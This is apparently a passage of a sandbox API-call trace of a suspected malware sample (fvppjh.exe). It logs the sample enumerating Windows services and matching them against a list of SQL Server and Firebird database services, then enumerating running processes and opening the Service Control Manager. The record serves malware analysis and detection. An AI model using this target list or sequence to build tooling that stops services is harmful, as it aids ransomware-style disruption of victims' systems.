	[0166.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0166.893] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0166.893] lstrlenW (lpString="NlaSvc") returned 6
	[0166.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0166.893] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0166.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0166.893] lstrlenW (lpString="nsi") returned 3
	[0166.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0166.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0166.894] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0166.894] lstrlenW (lpString="PcaSvc") returned 6
	[0166.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0166.894] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0166.894] lstrlenW (lpString="PlugPlay") returned 8
	[0166.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0166.894] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0166.894] lstrlenW (lpString="Power") returned 5
	[0166.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0166.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0166.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0166.894] lstrlenW (lpString="ProfSvc") returned 7
	[0166.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0166.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0166.894] lstrlenW (lpString="RpcEptMapper") returned 12
	[0166.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0166.894] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0166.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0166.895] lstrlenW (lpString="RpcSs") returned 5
	[0166.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0166.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0166.895] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0166.895] lstrlenW (lpString="SamSs") returned 5
	[0166.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0166.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0166.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0166.895] lstrlenW (lpString="Schedule") returned 8
	[0166.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0166.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0166.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0166.895] lstrlenW (lpString="SecurityHealthService") returned 21
	[0166.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0166.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0166.895] lstrlenW (lpString="SENS") returned 4
	[0166.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0166.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0166.895] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0166.895] lstrlenW (lpString="ShellHWDetection") returned 16
	[0166.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.895] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0166.896] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0166.896] lstrlenW (lpString="Spooler") returned 7
	[0166.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0166.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0166.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0166.896] lstrlenW (lpString="StateRepository") returned 15
	[0166.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0166.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0166.896] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0166.896] lstrlenW (lpString="SysMain") returned 7
	[0166.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0166.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0166.896] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0166.896] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0166.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0166.896] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0166.896] lstrlenW (lpString="Themes") returned 6
	[0166.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0166.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0166.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0166.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0166.896] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0166.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.897] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0166.897] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0166.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0166.897] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548
	[0167.032] Process32FirstW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0167.040] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0167.041] lstrlenW (lpString="System") returned 6
	[0167.041] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0167.041] lstrlenW (lpString="smss.exe") returned 8
	[0167.041] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.042] lstrlenW (lpString="csrss.exe") returned 9
	[0167.042] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0167.042] lstrlenW (lpString="wininit.exe") returned 11
	[0167.042] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.042] lstrlenW (lpString="csrss.exe") returned 9
	[0167.042] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0167.043] lstrlenW (lpString="winlogon.exe") returned 12
	[0167.043] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0167.043] lstrlenW (lpString="services.exe") returned 12
	[0167.043] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0167.044] lstrlenW (lpString="lsass.exe") returned 9
	[0167.044] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.044] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.044] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.045] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.045] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.045] lstrlenW (lpString="svchost.exe") returned 11
	[0167.045] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.045] lstrlenW (lpString="svchost.exe") returned 11
	[0167.045] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0167.046] lstrlenW (lpString="dwm.exe") returned 7
	[0167.046] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.046] lstrlenW (lpString="svchost.exe") returned 11
	[0167.046] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.047] lstrlenW (lpString="svchost.exe") returned 11
	[0167.047] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.047] lstrlenW (lpString="svchost.exe") returned 11
	[0167.047] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.047] lstrlenW (lpString="svchost.exe") returned 11
	[0167.048] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.048] lstrlenW (lpString="svchost.exe") returned 11
	[0167.048] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.048] lstrlenW (lpString="svchost.exe") returned 11
	[0167.048] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.049] lstrlenW (lpString="svchost.exe") returned 11
	[0167.049] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.049] lstrlenW (lpString="svchost.exe") returned 11
	[0167.049] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.050] lstrlenW (lpString="svchost.exe") returned 11
	[0167.050] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.050] lstrlenW (lpString="svchost.exe") returned 11
	[0167.050] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0167.050] lstrlenW (lpString="spoolsv.exe") returned 11
	[0167.050] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.051] lstrlenW (lpString="svchost.exe") returned 11
	[0167.051] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0167.051] lstrlenW (lpString="audiodg.exe") returned 11
	[0167.051] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0167.052] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0167.052] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0167.052] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0167.052] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0167.053] lstrlenW (lpString="Memory Compression") returned 18
	[0167.053] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0167.053] lstrlenW (lpString="sihost.exe") returned 10
	[0167.053] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.053] lstrlenW (lpString="svchost.exe") returned 11
	[0167.053] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.054] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.054] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.054] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.054] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0167.055] lstrlenW (lpString="explorer.exe") returned 12
	[0167.055] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0167.055] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0167.055] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0167.056] lstrlenW (lpString="SearchUI.exe") returned 12
	[0167.056] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0167.056] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0167.056] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.056] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0167.056] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0167.057] lstrlenW (lpString="fvppjh.exe") returned 10
	[0167.057] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0167.058] lstrlenW (lpString="cmd.exe") returned 7
	[0167.058] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.058] lstrlenW (lpString="conhost.exe") returned 11
	[0167.058] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0167.059] lstrlenW (lpString="consent.exe") returned 11
	[0167.059] Process32NextW (in: hSnapshot=0x548, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0167.059] CloseHandle (hObject=0x548) returned 1
	[0167.059] Sleep (dwMilliseconds=0x1f4) 
	[0167.889] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
